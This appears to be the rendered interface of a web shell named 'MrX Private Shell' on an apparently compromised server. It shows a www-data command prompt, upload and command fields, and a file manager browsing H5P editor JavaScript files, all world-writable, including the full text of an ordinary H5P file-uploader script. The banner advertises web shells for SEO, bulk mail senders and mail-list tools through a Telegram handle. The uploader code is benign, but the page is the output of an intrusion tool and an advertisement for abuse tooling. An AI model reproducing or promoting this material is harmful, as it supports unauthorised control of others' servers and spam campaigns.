__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
H5PEditor.FileUploader = (function ($, EventDispatcher) {

  /**
   * File Upload API for H5P
   *
   * @class H5PEditor.FileUploader
   * @extends H5P.EventDispatcher
   * @param {Object} field Required for validating the uploaded file
   */
  function FileUploader(field) {
    var self = this;

    // Initialize event inheritance
    EventDispatcher.call(self);

    /**
     * Triggers the actual upload of the file.
     *
     * @param {Blob|File} file
     * @param {string} filename Required due to validation
     */
    self.upload = function (file, filename) {
      var formData = new FormData();
      formData.append('file', file, filename);
      formData.append('field', JSON.stringify(field));
      formData.append('contentId', H5PEditor.contentId || 0);

      // Submit the form
      var request = new XMLHttpRequest();
      request.upload.onprogress = function (e) {
        if (e.lengthComputable) {
          self.trigger('uploadProgress', (e.loaded / e.total));
        }
      };
      request.onload = function () {
        var result;
        var uploadComplete = {
          error: null,
          data: null
        };

        try {
          result = JSON.parse(request.responseText);
        }
        catch (err) {
          H5P.error(err);
          // Add error data to event object
          uploadComplete.error = H5PEditor.t('core', 'fileToLarge');
        }

        if (result !== undefined) {
          if (result.error !== undefined) {
            uploadComplete.error = result.error;
          }
          if (result.success === false) {
            uploadComplete.error = (result.message ? result.message : H5PEditor.t('core', 'unknownFileUploadError'));
          }
        }

        if (uploadComplete.error === null) {
          // No problems, add response data to event object
          uploadComplete.data = result;
        }

        // Allow the widget to process the result
        self.trigger('uploadComplete', uploadComplete);
      };

      request.open('POST', H5PEditor.getAjaxUrl('files'), true);
      request.send(formData);
      self.trigger('upload');
    };

    /**
     * Upload the list of file objects.
     * TODO: Future improvement, iterate for multiple files
     *
     * @param {File[]} files
     */
    self.uploadFiles = function (files) {
      self.upload(files[0], files[0].name);
    };

    /**
     * Open the file selector and trigger upload upon selecting file.
     */
    self.openFileSelector = function () {
      // Create a file selector
      const input = document.createElement('input');
      input.type = 'file';
      input.setAttribute('accept', determineAllowedMimeTypes());
      input.style='display:none';
      input.addEventListener('change', function () {
        // When files are selected, upload them
        self.uploadFiles(this.files);
        document.body.removeChild(input);
      });

      document.body.appendChild(input);
      // Open file selector
      input.click();
    };

    /**
     * Determine allowed file mimes. Used to make it easier to find and
     * select the correct file.
     *
     * @return {string}
     */
    const determineAllowedMimeTypes = function () {
      if (field.mimes) {
        return field.mimes.join(',');
      }

      switch (field.type) {
        case 'image':
          return 'image/jpeg,image/png,image/gif';
        case 'audio':
          return 'audio/mpeg,audio/x-wav,audio/ogg,audio/mp4';
        case 'video':
          return 'video/mp4,video/webm,video/ogg';
      }
    }
  }

  // Extends the event dispatcher
  FileUploader.prototype = Object.create(EventDispatcher.prototype);
  FileUploader.prototype.constructor = FileUploader;

  return FileUploader;
})(H5P.jQuery, H5P.EventDispatcher);

Filemanager

Name Type Size Permission Actions
h5p-hub-client.js File 331.61 KB 0777
h5peditor-av.js File 21.51 KB 0777
h5peditor-boolean.js File 1.99 KB 0777
h5peditor-coordinates.js File 5.1 KB 0777
h5peditor-dimensions.js File 4.26 KB 0777
h5peditor-editor.js File 18.25 KB 0777
h5peditor-file-uploader.js File 3.69 KB 0777
h5peditor-file.js File 8.54 KB 0777
h5peditor-form.js File 14 KB 0777
h5peditor-fullscreen-bar.js File 2.7 KB 0777
h5peditor-group.js File 10.74 KB 0777
h5peditor-html.js File 20.01 KB 0777
h5peditor-image-popup.js File 13.91 KB 0777
h5peditor-image.js File 8.1 KB 0777
h5peditor-init.js File 3.72 KB 0777
h5peditor-library-list-cache.js File 3.38 KB 0777
h5peditor-library-selector.js File 9.97 KB 0777
h5peditor-library.js File 16.98 KB 0777
h5peditor-list-editor.js File 24.34 KB 0777
h5peditor-list.js File 11.15 KB 0777
h5peditor-metadata-author-widget.js File 3.91 KB 0777
h5peditor-metadata-changelog-widget.js File 7.5 KB 0777
h5peditor-metadata.js File 14.66 KB 0777
h5peditor-none.js File 918 B 0777
h5peditor-number.js File 4.79 KB 0777
h5peditor-pre-save.js File 3.62 KB 0777
h5peditor-select.js File 3.24 KB 0777
h5peditor-selector-hub.js File 7.76 KB 0777
h5peditor-selector-legacy.js File 3.11 KB 0777
h5peditor-semantic-structure.js File 7.39 KB 0777
h5peditor-text.js File 3.15 KB 0777
h5peditor-textarea.js File 2.68 KB 0777
h5peditor.js File 53.63 KB 0777
Filemanager